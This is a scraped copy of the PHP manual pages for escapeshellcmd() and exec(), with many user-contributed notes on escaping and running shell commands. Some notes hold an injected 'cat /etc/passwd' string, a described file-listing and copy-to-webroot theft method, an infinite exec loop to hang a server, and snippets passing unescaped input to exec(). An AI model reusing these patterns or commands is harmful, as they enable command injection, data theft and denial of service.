If escapeshellarg() returned something on a null input it would probably break more programs than it helps. Even if it's two "'s or two ''s, this function wouldn't work the way it's supposed to (that is, returning nothing).

However, most people do not put "" into their commands but I can see where it might be useful at the same time.
Perhaps an option in the command that would return the type of null we want. I might want the null character to be returned, someone else might want '', and someone else might want nothing at all.
php at floris dot nu 26-Mar-2003 07:27
i also thought the output was gonna be between 's because that's the way windows handles arguments with spaces in them. i think we have a unix <> windows misunderstanding here...
Program execution Functions
escapeshellcmd
Program execution Functions


Escape shell metacharacters

escapeshellarg
exec
Program execution Functions
PHP Manual

escapeshellcmd

(PHP 4, PHP 5)

escapeshellcmd — Escape shell metacharacters

Description

string escapeshellcmd ( string $command )

escapeshellcmd() escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands. This function should be used to make sure that any data coming from user input is escaped before this data is passed to the exec() or system() functions, or to the backtick operator.

Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.

Parameters

command

The command that will be escaped.

Return Values

The escaped string.

Examples

Example #1 escapeshellcmd() example

<?php
// We allow arbitrary number of arguments intentionaly here.
$command = './configure '.$_POST['configure_options'];

$escaped_command = escapeshellcmd($command);

system($escaped_command);
?>

Warning

escapeshellcmd() should be used on the whole command string, and it still allows the attacker to pass arbitrary number of arguments. For escaping a single argument escapeshellarg() should be used instead.

See Also

  • escapeshellarg() - Escape a string to be used as a shell argument
  • exec() - Execute an external program
  • popen() - Opens process file pointer
  • system() - Execute an external program and display the output
  • backtick operator

User Contributed Notes

nicholas at nicholaswilson dot me dot uk 29-Jan-2011 07:41
There is a quirk to be aware of regarding use of echo. If you have a command which you want to execute which takes input from STDIN, you would normally do:

<?php $output = shell_exec("echo $input | /the/command"); ?>

Unfortunately, this is a *bad idea* and will make your script unportable, providing a very hard-to-trace bug on some systems. Depending on how the server is set up, /bin/sh will either call /bin/bash or /bin/dash, and these have very different versions of echo. Never use echo; use printf instead which is consistent. How do you escape for printf? Do this:

<?php
$input = 'string to be passed *exactly* to the command';
//Escape only what is needed to get by PHP's parser; we want
//the string data PHP is holding in its buffer to be passed
//exactly to stdin buffer of the command.
$cmd = str_replace(array('\\', '%'), array('\\\\', '%%'), $input);
$cmd = escapeshellarg($cmd);

$output = shell_exec("printf $cmd | /path/to/command");
?>

For the paranoid, this torture test verifies that both shell escaping and printf's own escaping are handled correctly. Use with confidence!

<?php

$test = 'stuff bash interprets, space: # & ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ \x0A \xFF. \' " %'.PHP_EOL.
        'stuff bash interprets, no space: #&;`|*?~<>^()[]{}$\\x0A\xFF.\'\"%'.PHP_EOL.
        'stuff bash interprets, with leading backslash: \# \& \; \` \| \* \? \~ \< \> \^ \( \) \[ \] \{ \} \$ \\\ \\\x0A \\\xFF. \\\' \" \%'.PHP_EOL.
        'printf codes: % \ (used to form %.0#-*+d, or \\ \a \b \f \n \r \t \v \" \? \062 \0062 \x032 \u0032 and \U00000032)';

echo "These are the strings we are testing with:".PHP_EOL.$test.PHP_EOL;
$cmd = $test;
$cmd = str_replace(array('\\', '%'), array('\\\\', '%%'), $test);
$cmd = escapeshellarg($cmd);

echo PHP_EOL."This is the output using the escaping mechanism given:".PHP_EOL;
echo `printf $cmd | cat`.PHP_EOL;

echo PHP_EOL."They should match exactly".PHP_EOL;
?>
carlos at wfmh dot org dot pl dot REMOVE dot COM 24-Jun-2010 04:42
Mind it does not escape ! (exclamation mark). So if you want to i.e. printf() commands for later use in shell (i.e. by pasting to the console) you need to escape all exclamation marks or shell will try to process ! as history reference. This approach shall suffice:

<?php $scaped = str_replace('!', '\!', escapeshellarg( $str ) ); ?>
davidwhthomas 08-Jan-2008 02:21
To extract an archive file to a specific folder using exec() :

<?php
$result = exec(escapeshellcmd("tar -xvvf /path/to/archive.tar -C /path/to/extract/to/"));
?>

escapeshellcmd() is used here because I am getting the file path via user input / upload.

DT
Leon 11-Feb-2007 04:31
This function is great -- except when you need to legitimately use an escaped character as part of your command.  The code below leaves the parts of the command that are enclosed within single quotes alone, but escapes the rest eg:

"echo Never use the '<blink>' tag ; cat /etc/passwd"
becomes:
"echo Never use the '<blink>' tag \; cat /etc/passwd"
and not:
"echo Never use the '\<blink\>' tag \; cat /etc/passwd"

i.e, we really want the ';' escaped, but not the HTML tag.  I really needed the code below in order to run the external ImageMagick's 'convert' command properly and safely...

<?php

// Escape whole string
$cmdQ = escapeshellcmd($cmd);

 // Build array of quoted parts, and the same escaped
preg_match_all('/\'[^\']+\'/', $cmd, $matches);
$matches = current($matches);
$quoted = array();
foreach( $matches as $match )
    $quoted[escapeshellcmd($match)] = $match;

// Replace sections that were single quoted with original content
foreach( $quoted as $search => $replace )
    $cmdQ = str_replace( $search, $replace, $cmdQ );

return $cmdQ;

?>
abennett at clarku dot edu 05-Jul-2006 11:59
I've got a php script that needs to pass a username and password via exec to a perl script.  The problem is valid password characters were getting escaped...

Here's a little perl function I wrote to fix it.

sub unescape_string {
      my $string = shift;
      # all these interpolated regex's are slow, so if there's no
      # backslash in the string don't bother with it
      # index() is faster then a regex
      if ( ! index($string,'\\\\') ) {
         return $string;
      }
      my @characters = ('#', '&', ';', '`', '|', '*', '?', '~', '<', '>', '^', '(', ')',
                        '[', ']', '{', '}', '$', '\\', ',', ' ', '\x0A', '\xFF' );
      my $character;
      foreach $character (@characters) {
         $character = quotemeta($character);
         my $pattern = "\\\\(" . $character . ")";
         $string =~ s/$pattern/$1/g;
      }
      return $string;
}

Hope this is useful.
ceejay at trashfactory dot de 15-Mar-2006 04:43
Well guys, i find it very hard that escapeshellarg and escapeshellcmd are forcely run when passing a command to exec, system or popen, when safe_mode is turned on.

Right now, i did not find any working solution to pass commands like this:
cmd -arg1 -arg2 "<BLA varname=\"varvalue\" varname1=\"varvalue1\" />"

it is just the case, that the parameter for arg2 which is a string that looks like an HTML-Tag with various attributes set, all attributes of the string in arg2 gets splitted by the whitespaces within. this wont happen with safe_mode turned off, so it must be one of the escapefunctions, that breaks functionality.

In order to circumvent this, i have made a temporary solution, which dynamically creates a skriptfile (by fopen), which just contains the whole command with arguments, and then execute that skriptfile. i dont like that solution, but in the other hand, safe_mode cannot be easily turned off on that server.
cast3r 13-Sep-2005 05:31
"normal any user on linux can view almost any directory so:
ls / -als will print a complete list of any file in the linux filesystem including its size, security and hidden files as well."
ls / -alsR is the whole filesystem.
docey 12-Apr-2005 05:56
the main reason for quoting a command is that it not multiple  command can be joined. i don't know for sure if this is the right syntax but remeber that this can do some nice security breaks. here's one way of how to know exactly what your trying to break into for.

normal any user on linux can view almost any directory so:
ls / -als will print a complete list of any file in the linux filesystem including its size, security and hidden files as well.

now the output would only become known to php and never will the user be able to view this data unless the php script would actual start to print it out. like passtru does!! but a good php coder knows never to use passtru unless not otherwise possible.

but what would happen if you can direct the output from ls also from that same commandline to a file in the webroot most webserver still default their base-webroot to /var/www/ so storing it there in text file to download it later and you can simply take coffee while checking wich files can be read by php security mode and then simply use the cp command to copy those to the webroot and download them to your own hard-disk. without a list of the files you can only guess where to copy from! and thats harder then guessing the root password.

so if the first command was quoted it is not possible to attach another command because of a syntax error. think of all the thinks you can do once you got a complete list of every file on the filesystem. including mounted once via NFS and others. security starts at keeping the door hidden.

also another nice command for hanging the webserver can be "php <?php while(true){ exec('ls / -als'); }; ?>" this keeps creating a file list on the entire filesystem wich not only keeps the hard-disk(s) bussy but also memory and cpu   wich must store the returned list. so keeping in mind not all command accepted from users can be used blind.

actualy never accept any command from external sources only proven built-in predefined commands should be executed.
trisk at earthling dot net 31-Jan-2005 10:19
This function does not work as shown in the php.net examples.

If you put your encoded filename into double-quotes as they suggest, then it will break on certain characters in filenames, such as ampersand.

For example if you have a filename called "foo & bar.jpg" and you use this function on it, your resulting filename when double-quoted will produce this and not be found:

"foo \& bar.jpg"

If you need to have a single argument where spaces are included then do not use this function with added double-quotes, use escapeshellarg() which encloses the whole string in single quotes.

I do not understand which purpose this particular function is intended for.  I can't see any use for it, unless you pass it through another function and convert spaces " " to "\ ", which would allow you to use the string directly on the command line.
escapeshellarg
exec
Program execution Functions


Execute an external program

escapeshellcmd
passthru
Program execution Functions
PHP Manual

exec

(PHP 4, PHP 5)

exec — Execute an external program

Description

string exec ( string $command [, array &$output [, int &$return_var ]] )

exec() executes the given command.

Parameters

command

The command that will be executed.

output

If the output argument is present, then the specified array will be filled with every line of output from the command. Trailing whitespace, such as \n, is not included in this array. Note that if the array already contains some elements, exec() will append to the end of the array. If you do not want the function to append elements, call unset() on the array before passing it to exec().

return_var

If the return_var argument is present along with the output argument, then the return status of the executed command will be written to this variable.

Return Values

The last line from the result of the command. If you need to execute a command and have all the data from the command passed directly back without any interference, use the passthru() function.

To get the output of the executed command, be sure to set and use the output parameter.

Examples

Example #1 An exec() example

<?php
// outputs the username that owns the running php/httpd process
// (on a system with the "whoami" executable in the path)
echo exec('whoami');
?>

Notes

Warning

When allowing user-supplied data to be passed to this function, use escapeshellarg() or escapeshellcmd() to ensure that users cannot trick the system into executing arbitrary commands.

Note:

If a program is started with this function, in order for it to continue running in the background, the output of the program must be redirected to a file or another output stream. Failing to do so will cause PHP to hang until the execution of the program ends.

Note: When safe mode is enabled, you can only execute files within the safe_mode_exec_dir. For practical reasons, it is currently not allowed to have .. components in the path to the executable.

Warning

With safe mode enabled, the command string is escaped with escapeshellcmd(). Thus, echo y | echo x becomes echo y \| echo x.

See Also

  • system() - Execute an external program and display the output
  • passthru() - Execute an external program and display raw output
  • escapeshellcmd() - Escape shell metacharacters
  • pcntl_exec() - Executes specified program in current process space
  • backtick operator

User Contributed Notes

mail at samtuke dot com 16-May-2011 08:52
There are (perhaps insurmountable) difficulties when trying to execute sudo commands from a PHP script and from an external script called by PHP on SELinux enabled machines.

SELinux won't let apache change the group id of the process by default.

You may need to use another solution, like make the PHP script deposit a file in  a directory which is monitored by cron or inotify and which will call another script with root privileges.
abaker 19-Apr-2011 10:47
If you try to run an application from C:\Windows\System32 from a 32 bit install of PHP on 64 bit Windows, and the application doesn't have a 32bit version in C:\Windows\SysWOW64, you can use C:\Windows\Sysnative instead to reference the actual System32 folder rather than the redirected one in SysWOW64.
bmellink at hotmail dot com 09-Feb-2011 12:02
When calling exec() from within an apache php script, make sure to take care of stdout, stderr and stdin (as in the example below). If you forget this and your shell command produces output the sh and apache deamons may never return (they will normally time out after a few minutes). From the calling web page the script may seem to not return any data.

If you want to start a php process that continues to run independently from apache (with a different parent pid) use nohub. Example:

exec('nohup php process.php > process.out 2> process.err < /dev/null &');
juan at laluca dot com 13-Jan-2011 07:36
I was trying to get an acceslist from a remote computer by executing cacls and parse it in php, all in a  Windows environment with Apache. First i discovered psexec.exe from Windows SysInternals.

But with the following line, I didn´t get anything, it get hunged, although from the command line it worked nice:

<?php exec ('c:\\WINDOWS\\system32\\psexec.exe \\192.168.1.224 -u myuser -p mypassword -accepteula cacls c:\\documents\\RRHH && exit', $arrACL ); ?>

To make it work I just followed the next steps:
- execute services.msc and find the apache service (In my case wampapache)
- Right button>Log On tab and change from Local System Account to a user created account, enter the username and the password and restart the service.

(I added this user to the administrators group to avoid permissions problems but its not recommended...)

It worked! And it may work with IIS too so try it if you have the same poblem....

Hope this helps someone, and sorry for my english
vaflancher at gmail dot com 08-Jan-2011 12:59
Here is I written a function, that shows the ping on the OS Windows and Linux, helps me a lot, shows players theirs ping to the server (the site is where the server).

<?php
function GetPing($ip=NULL) {
 if(empty($ip)) {$ip = $_SERVER['REMOTE_ADDR'];}
 if(getenv("OS")=="Windows_NT") {
  $exec = exec("ping -n 3 -l 64 ".$ip);
  return end(explode(" ", $exec ));
 }
 else {
  $exec = exec("ping -c 3 -s 64 -t 64 ".$ip);
  $array = explode("/", end(explode("=", $exec )) );
  return ceil($array[1]) . 'ms';
 }
}

echo GetPing();
?>
alvaro at demogracia dot com 27-Dec-2010 05:27
In Windows, exec() issues an internal call to "cmd /c your_command". This implies that your command must follow the rules imposed by cmd.exe which includes an extra set of quotes around the full command:

- http://ss64.com/nt/cmd.html

Current PHP versions take this into account and add the quotes automatically, but old versions didn't.

Apparently, the change was made in PHP/5.3.0 yet not backported to 5.2.x because it's a backwards incompatible change. To sum up:

- In PHP/5.2 and older you have to surround the full command plus arguments in double quotes
- In PHP/5.3 and greater you don't have to (if you do, your script will break)

If you are interested in the internals, this is the source code:

sprintf(cmd, "%s /c \"%s\"", TWG(comspec), command);

It can be found at http://svn.php.net/viewvc/ (please find php/php-src/trunk/TSRM/tsrm_win32.c, the comment system doesn't allow the direct link).
Martin Lakes 21-Dec-2010 08:20
Took quite some time to figure out the line I am going to post next. If you want to execute a command in the background without having the script waiting for the result, you can do the following:

<?php
passthru("/usr/bin/php /path/to/script.php ".$argv_parameter." >> /path/to/log_file.log 2>&1 &");
?>

There are a few thing that are important here.

First of all: put the full path to the php binary, because this command will run under the apache user, and you will probably not have command alias like php set in that user.

Seccond: Note 2 things at the end of the command string: the '2>&1' and the '&'. The '2>&1' is for redirecting errors to the standard IO. And the most important thing is the '&' at the end of the command string, which tells the terminal not to wait for a response.

Third: Make sure you have 777 permissions on the 'log_file.log' file

Enojy!
ben-sky at netcourrier dot com 05-Oct-2010 04:29
The output parameter gets only standard output, if you need error output too, don't forget to redirect it.
If the output parameter is still empty after an execution and if it shouldn't, you must be in this case.

<?php
$out = array();
exec = ('ls /ver 2>&1', $out);
print_r($out);
?>
digitalaudiorock at gmail dot com 17-Sep-2010 07:34
Just a note related to exec() and programs that run in the background.  I have a service that backgrounds itself using the Pear System_Daemon (whose start method forks the process and closes the parent).  When I attempted to start that using the services /etc/init.d/service_name start from within another php script using exec(), I expected it to work without redirecting output, but it still hung unless I did.

That solution is to close STDOUT and STDERR:

<?php
if (is_resource(STDOUT)) fclose(STDOUT);
if (is_resource(STDERR)) fclose(STDERR);
?>

If you background the process using pcntl_fork() AND close these, exec can start the process without redirected input.  The same issue was causing the CentOS GUI to hang if I attempted to start my service from there until I added the above.

This of course assumes you're already doing something else with all the output.  I'm logging all my output using Pear Log and am using set_error_handler() to handle all catchable php errors using the the logger as well.
ernestokarim at gmail dot com 07-Sep-2010 09:07
For these persons who has problems running programs with graphical interfaces(windows) in Windows/Apache/PHP here is the solution:

Start > Run > "services.msc"

Search the Apache Service, right click and select Properties.

You will see two radio buttons, check the first if it isn't, and then check too the checkbox below.

Now restart Apache and oyu will see any kind of windows when executing a program.

Enjoy!
elwiz at 3e dot pl 06-Sep-2010 06:10
On Windows-Apache-PHP servers there is a problem with using the exec command more than once at the same time. If a script (with the exec command) is loaded more than once by the same user at the same time the server will freeze.
In my case the PHP script using the exec command was used as the source of an image tag. More than one image in one HTML made the server stop.
The problem is described here (http://bugs.php.net/bug.php?id=44942) toghether with a solution - stop the session before the exec command and start it again after it.

<?php

session_write_close();
exec($cmd);
session_start();

?>
arharp at gmail dot com 07-Apr-2010 07:19
A simple function to see if exec() is enabled on the server:

<?php
function exec_enabled() {
  $disabled = explode(', ', ini_get('disable_functions'));
  return !in_array('exec', $disabled);
}
?>
florin from syneto net 25-Nov-2009 07:06
A simple way to initialize $output before calling exec() on the same line:
<?php
    exec($command, $output = array());
?>
lwalker at snet dot net 10-Sep-2009 07:09
For server 2003 IIs 6 php 5.2.10 this works

<?php
$tmp = exec("c:\\Image\\gm.exe convert c:\\Image\\file1.tiff c:\\Image\\file1.jpg", $results);
?>

You must assign rights to the folder or exe. hopes this helps someone.
greg dot fenton at gmail dot com 21-May-2009 09:27
It is possible to configure IIS so that user authentication is against an NT domain.  Giving read & execute permissions to the IUSR_* user only helps for anonymous access.

For non-anonymous, give "Domain Users" read & execute permissions:

 c:> cacls %COMSPEC% /E /G "%USERDOMAIN%\Domain Users":R

or more specifically:

 c:> cacls c:\windows\system32\cmd.exe /E /G MYDOMAIN\Domain Users:R

For security reasons, it is strongly advised to NOT provide the IUSR_* access to cmd.exe at all.
bahri at bahri dot info 20-Mar-2009 01:15
[NOTE BY danbrown AT php DOT net: The following is a Linux script that the contributor of this note suggests be placed in a file named 'pstools.inc.php' to execute a process, check if a process exists, and kill a process by ID.  Inspired by the Windows version at http://php.net/exec#59428 ]

<?php
  function PsExecute($command, $timeout = 60, $sleep = 2) {
        // First, execute the process, get the process ID

        $pid = PsExec($command);

        if( $pid === false )
            return false;

        $cur = 0;
        // Second, loop for $timeout seconds checking if process is running
        while( $cur < $timeout ) {
            sleep($sleep);
            $cur += $sleep;
            // If process is no longer running, return true;

           echo "\n ---- $cur ------ \n";

            if( !PsExists($pid) )
                return true; // Process must have exited, success!
        }

        // If process is still running after timeout, kill the process and return false
        PsKill($pid);
        return false;
    }

    function PsExec($commandJob) {

        $command = $commandJob.' > /dev/null 2>&1 & echo $!';
        exec($command ,$op);
        $pid = (int)$op[0];

        if($pid!="") return $pid;

        return false;
    }

    function PsExists($pid) {

        exec("ps ax | grep $pid 2>&1", $output);

        while( list(,$row) = each($output) ) {

                $row_array = explode(" ", $row);
                $check_pid = $row_array[0];

                if($pid == $check_pid) {
                        return true;
                }

        }

        return false;
    }

    function PsKill($pid) {
        exec("kill -9 $pid", $output);
    }
?>
skuberski at hotmail dot com 28-Feb-2009 08:40
If you're on windows, advice to use Sysinternals (procmon.exe from live.sysinternals.com) is pretty darn good.  Saved me also a lot of time, and keeped me from having to open up my entire server to the anonymous web user.
dell_petter at hotmail dot com 04-Feb-2009 02:52
(This is for linux users only).

We know now how we can fork a process in linux with the & operator.
And by using command: nohup MY_COMMAND > /dev/null 2>&1 & echo $! we can return the pid of the process.

This small class is made so you can keep in track of your created processes ( meaning start/stop/status ).

You may use it to start a process or join an exisiting PID process.

<?php
    // You may use status(), start(), and stop(). notice that start() method gets called automatically one time.
    $process = new Process('ls -al');

    // or if you got the pid, however here only the status() metod will work.
    $process = new Process();
    $process.setPid(my_pid);
?>

<?php
    // Then you can start/stop/ check status of the job.
    $process.stop();
    $process.start();
    if ($process.status()){
        echo "The process is currently running";
    }else{
        echo "The process is not running.";
    }
?>

<?php
/* An easy way to keep in track of external processes.
 * Ever wanted to execute a process in php, but you still wanted to have somewhat controll of the process ? Well.. This is a way of doing it.
 * @compability: Linux only. (Windows does not work).
 * @author: Peec
 */
class Process{
    private $pid;
    private $command;

    public function __construct($cl=false){
        if ($cl != false){
            $this->command = $cl;
            $this->runCom();
        }
    }
    private function runCom(){
        $command = 'nohup '.$this->command.' > /dev/null 2>&1 & echo $!';
        exec($command ,$op);
        $this->pid = (int)$op[0];
    }

    public function setPid($pid){
        $this->pid = $pid;
    }

    public function getPid(){
        return $this->pid;
    }

    public function status(){
        $command = 'ps -p '.$this->pid;
        exec($command,$op);
        if (!isset($op[1]))return false;
        else return true;
    }

    public function start(){
        if ($this->command != '')$this->runCom();
        else return true;
    }

    public function stop(){
        $command = 'kill '.$this->pid;
        exec($command);
        if ($this->status() == false)return true;
        else return false;
    }
}
?>
henze 12-Nov-2008 08:57
if you are using exec on a w2k3 machine with IIS and after a few times the page or IIS just hangs, you should add: " && exit" to your command.
this way the cmd will always exit.

example:
<?php
    $computername = "MyComputer";
    $ip = gethostbyname($computername);
    exec("ping ".$ip." -n 1 -w 90 && exit", $output);
    print_r($output);
?>

You could also try this when you have problems with the system-function or any other method you use to execute a program!

Maybe also useful when using apache, but I'm not sure about that!
ben 19-Oct-2008 06:04
If you're having problems with any of the exec(), system() etc. functions not working properly on windows, finding the cause can be very frustrating, as is hard to diagnose.

I've found the free Process Monitor from Sysinternals (procmon.exe from live.sysinternals.com) to be VERY helpful here. You can monitor anything done by e.g. php.exe, cmd.exe and yourprogram.exe and it will list every access to files, registry etc. with return codes. You usually find some ACCESS DENIED somehwer in the log, correct the file's permissions and it works.

Has saved me a LOT of time.
sbourazanis at hotmail dot com 18-Oct-2008 02:49
Problem:
PHP's System program execution functions do not seem to execute Win32 GUI applications.

Solution:
1.Give %system32%\cmd.exe read/execute permissions to IUSR account.
Why ?:
Delimits the unable to fork errors.

2.Make your web server's executable to interact with desktop and restart it.
Why ?:
If not you cannot see the GUI

3a.Use SysInternals Psexec with -i -d switches:
<?php
exec("Psexec.exe -i -d  yourexe.exe");
?>
or
3b.Use Windows scripting shell COM object with false parameter to its Run Function:
<?php
function _exec($cmd)
{
   $WshShell = new COM("WScript.Shell");
   $oExec = $WshShell->Run($cmd, 0,false);
   echo $cmd;
   return $oExec == 0 ? true : false;
}_exec("youexe.exe");
?>
Why ?:
If you use just exec then PHP waits for exe to terminate, but psexec with -d option or WshShell->Run with false option overpass this limitation and do not wait for process termination.

I hope this will help all from months' headaches...
Arno van den Brink 13-Oct-2008 08:04
I combined several efforts in this topic into one function:

<?php
function execInBackground($cmd) {
    if (substr(php_uname(), 0, 7) == "Windows"){
        pclose(popen("start /B ". $cmd, "r"));
    }
    else {
        exec($cmd . " > /dev/null &");
    }
}
?>

This will execute $cmd in the background (no cmd window) without PHP waiting for it to finish, on both Windows and Unix.
molokoloco at gmail dot com 08-Oct-2008 01:08
On window.... escape char is "^"
>> this is working :

exec("\"C:\\Program Files\\VideoLAN\\VLC\\vlc\" get_video?video_id=aSW7YTk7tFs^&t=hash^&fmt=18 --sout=#transcode{ vcodec=h264,vb=768,scale=1,acodec=mpga,ab=96,channels=2 }:duplicate{ dst=std{access=udp,mux=ts,dst=239.192.1.1:1235} } ");

The parameters in the URL (&t=) not breaking the command now.....
philippe dot hajjar at montgomerycollege dot edu 24-Sep-2008 08:21
I was having trouble using the PHP exec command to execute any batch file.   Executing other commands (i.e., "dir") works fine).  But if I executed a batch file, I receieved no output from the exec command.

The server setup I have consists of Windows Server 2003 server running IIS6 and PHP 5.2.3.  On this server, I have:

1.  Granted execute permissions to the Internet User  on c:\windows\system32\cmd.exe.
2.  Granted Everyone->Full Control to the directory in which the batch file is written.
3.  Granted Everyone->Full Control on the entire c:\cygwin\bin directory and its contents.
4.  Granted the Internet User "log on as batch" permissions.
5.  Specified the full path to each file being executed.
6.  Tested these scripts running from the command line on the server and they work just fine.
7.  Ensured that %systemroot%\system32 is in the system path.

It turns out that even with all of the above in place on the server, I had to specify the full path to cmd.exe in the exec call.

When I used the call:
$output = exec("c:\\windows\\system32\\cmd.exe /c $batchFileToRun");

then everything worked fine.  In my situation, $batchFileToRun was the actual system path to the batch file (i.e., the result of a call to realpath()).
frantik 17-Sep-2008 11:53
<?php

function _exec($cmd)
{
   $WshShell = new COM("WScript.Shell");
   $cwd = getcwd();
   if (strpos($cwd,' '))
   {  if ($pos = strpos($cmd, ' '))
      {  $cmd = substr($cmd, 0, $pos) . '" ' . substr($cmd, $pos);
      }
      else
      {  $cmd .= '"';
      }
      $cwd = '"' . $cwd;
   }
   $oExec = $WshShell->Run("cmd /C \" $cwd\\$cmd\"", 0,true);

   return $oExec == 0 ? true : false;
}
?>

capture output using ob_start() if you like. Extra code looks for spaces and adds quote marks as they are needed
sandaimespaceman at gmail dot com 01-Sep-2008 12:13
You can't just let it execute a macro/bot such as AutoIt and let it start video encoder, because the www-data user doesn't have a display manager
I tried to use exec('firefox') but Firefox doesn't show up.
aurora-glacialis at gmx dot de 21-Aug-2008 02:48
The article on exec() tells you to use passthrough() if you want to get more than the last line of output from a command. However mor appropriate would be to refer to shell_exec(), since passthrough will output the result (just like print()) whereas shell_exec() will give the whole output as a $string, which is more likely the thing you want if you are not content with exec() delivering only the last line as $string
stephen dot hughes at gmail dot com 18-Aug-2008 08:03
For windows, winnt.. IIS6 and php 5 using the dll.

I was trying to figure out why exec commands were not working. There is a post here suggesting you add iusr to the whole C drive which I am not ok with.

I eventually found that if I allowed the iusr account to access C:\windows\system32\cmd.exe things worked.

Hope this helps.

~Stephen
engtejeda at hotmail dot com 14-Jun-2008 11:09
Task: Invoke psexec from php to execute a command on a remote computer.
Environment:
-Windows XP Professional, Service Pack 3
-Apache 2.2 Installed (I used the version bundled in XAMP 1.6.6a)
-The executable to be run must be in your system PATH!!
PHP Script:
<?php
exec ("psexec -u someusername -p somepassword -c \\\\someipaddressORHostname someprogram.exe");
#sample command
#exec ("psexec -u JoeShmoe -p ShrimpLover529 -c \\\\192.168.22.156 cleanfiles.exe");
?>
Problems:
-I kept getting Access Denied Errors
Observation(s):
-I noticed that when I put that same psexec command in a batch file and started that batch file with the system account, I would get the same error
-This lead me to the cause
Cause:
-Apache was running as the system account, and so any process invoked by php was started as the system account
-Starting a batch file that accesses a remote computer using the local system account is a NO NO (at least for my setup)
Solution:
-Configure the Apache service to start as an account other than system (It must have appropriate permissions on the local computer)
Start-->Run-->Services.msc-->RightClick Apache Service-->Properties-->Logon Tab-->Enter in value for "Log on As"

Now load the same php page again.
Look at the error.log again
You should see an error code 0 returned for the process executed, indicating a successful run
dweston at hotmail dot co dot uk 13-May-2008 01:29
I was thinking on how to make a wee command that can be used for getting the Memory AND CPU usage of a program.

<?php

function GetProgCpuUsage($program)
{
    if(!$program) return -1;

    $c_pid = exec("ps aux | grep ".$program." | grep -v grep | grep -v su | awk {'print $3'}");
    return $c_pid;
}

function GetProgMemUsage($program)
{
    if(!$program) return -1;

    $c_pid = exec("ps aux | grep ".$program." | grep -v grep | grep -v su | awk {'print $4'}");
    return $c_pid;
}

?>

What this does is get the program's information, and splits it into either the CPU or MEM usage.

Examples:

<?php

    echo "CPU use of Program: ".GetProgCpuUsage($randomprogram)."%";
    echo "Memuse of Program: ".GetProgMemUsage($randomprogram)."%";

?>

Nice and simple. :)
harmor 07-May-2008 09:18
If you attempt to call a script that is not executable (i.e. not chmod +x or chmod 755), then you'll get a return error of 126.

<?php

$output = array();
$return_var = 0;
exec('foo.sh', $output, $return_var);

echo $return_var;   /* 126 */

?>
stefanfj at gmx dot de 03-Mar-2008 07:29
If you try to use the psexec from Sysinternals on your Windows Server for background-processes that need special user-rights and get an "Access denied" oder "Wrong user or password" notice, although your username and password is right, this could help you getting around this bug.

<?php
$command = "c:\directory1\psexec.exe \\127.0.0.1 -u username -p password c:\directory2\commandtoexecute.exe";
exec($command);
?>
jim dot filter at gmail dot com 03-Mar-2008 06:45
You can embed php into a batch file so that it is essentially "double-click" to run.  This might be useful for script that does search and replace in numerous files or other tedious task that are too complex for batch files but don't warrant greater attention.  Its really quite simple I'm sure someone has thought of it before. You can add whatever batch code you want after :START just make sure you exit before you get to */ so Windows doesn't fuss. @php %0  basically is saying "Open this file with php and run its php code". Obviously its really only a useful trick on Windows, I only really use it for update scripts on our company's servers. I suppose you could also just set Windows to open php files with php.exe but that seems like a rather stupid thing to do as you would most often want to edit php files, not run them directly. @pause is optional of course, but you may want to look at what php outputted to the command line before it exits.

example.bat:

@GOTO START
<?php

  ...php code...

  /*
  :START
  ...batch code...
  @php %0
  @pause
  @exit
  */
?>
dr_jones153 at hotmail dot com 23-Jan-2008 07:04
If SAFE_MODE is on, and you are trying to run a script in the background by appending "> /dev/null 2> /dev/null & echo $!" to the command line, the browser will hang until the script is done.

My solution:

Create a shell script (ex. runscript.sh) which contains the execution line for the script you are trying to run in the background.
The runscript.sh is run by an exec() call without the redirect string, which is now placed in the runscript.sh.

runscript.sh will return almost immediately because output of the original script is redirected, and so will not hang your browser and the script runs fine in the background.
bzz at mail dot com 11-Jan-2008 12:02
//if you just exec wshost.exe with the .vbs file as an argument, it will run fine.

<?php
//Execute a .vbs file
$f = "test.vbs";
execu("whost $f");
?>
feedback at nospam fraktus dot com 31-Jul-2007 11:53
When I tried to exec in my dreamhost virtual host nothing worked until I moved my binary outside of the web directory and then it worked without any problem. You may have the same problem.
bachya1208 at gmail dot com 31-Jul-2007 12:24
Does anyone know of any restrictions on using exec() in a virtual host?  I have complete control of my apache server, but obviously prefer to section content into virtual hosts.

exec() doesn't do anything when applied to code inside a virtual host for me...
Farhad Malekpour 26-Jul-2007 04:24
If you're trying to use exec in a script that uses signal SIGCHLD, (i.e. pcntl_signal(SIGCHLD,'sigHandler');) it will return -1 as the exit code of the command (although output is correct!). To resolve this remove the signal handler and add it again after exec. Code will be something like this:

...
pcntl_signal(SIGCHLD, 'sigHandler');
...
...
(more codes, functions, classes, etc)
...
...
// Now executing the command via exec
// Clear the signal
pcntl_signal(SIGCHLD, SIG_DFL);
// Execute the command
exec('mycommand',$output,$retval);
// Set the signal back to our handler
pcntl_signal(SIGCHLD, 'sigHandler');
// At this point we have correct value of $retval.

Same solution can apply to system and passthru as well.
WindowsPHPUser 10-Jul-2007 11:42
I had trouble getting the program execution functions to work on a Windows server, even though it worked on my test machine.  Here is something that helped:

First, set the security permissions on the exe to allow USR_MachineName to execute the program.

Then I changed the 'Log on as Batch Job' local security policy to include the IUSR account (and rebooted).  After I made that change, the programs were allowed to run.

I also limited the permissions for the IUSR account to read and execute only.
conrad 07-Jun-2007 10:02
Windows note: Despite people syaing that you CAN you CANNOT exec a .vbs windows script host (wsh) file using exec() - you need to execute your vbs file via a "windows link" (.lnk file - a bog standard shortcut)

ie: I right click and dragged my datapurge.vbs a few pixels to the side and chose "Create Shortcuts Here" and then deleted the autogenerated "Short cut to datapurge.vbs" and renamed it merely datapurge.vbs - bear in mind as far as php is concerend it's ACTUALLY called datapurge.vbs.lnk

however you will need to sleep(); your php page to make sure the .vbs has had time to run if you intend on using the vbs output (say a file your vbs made) this is becase the .lnk instantly runs and php immediately continues processing without barely skipping a beat even if the vbs takes yonks to run.

If you are wondering why anyone would ever WANT to run a .vbs from within .php I can see some reasons - there are various windows platform objects just not accesible from php. (and most php programmers know a little .asp though they would say they don't! so asp-a-like .vbs is the logical choice)
skchandon at skchandon dot com 25-Apr-2007 07:46
PHP Exec : Delete statement execution problem
If filename is blank for exec: delete statement then it hangs the php execution, hence have to trap it as follows

<?php
$fname=$_POST["fname"];
 if ($fname!="")                    //  TRAP
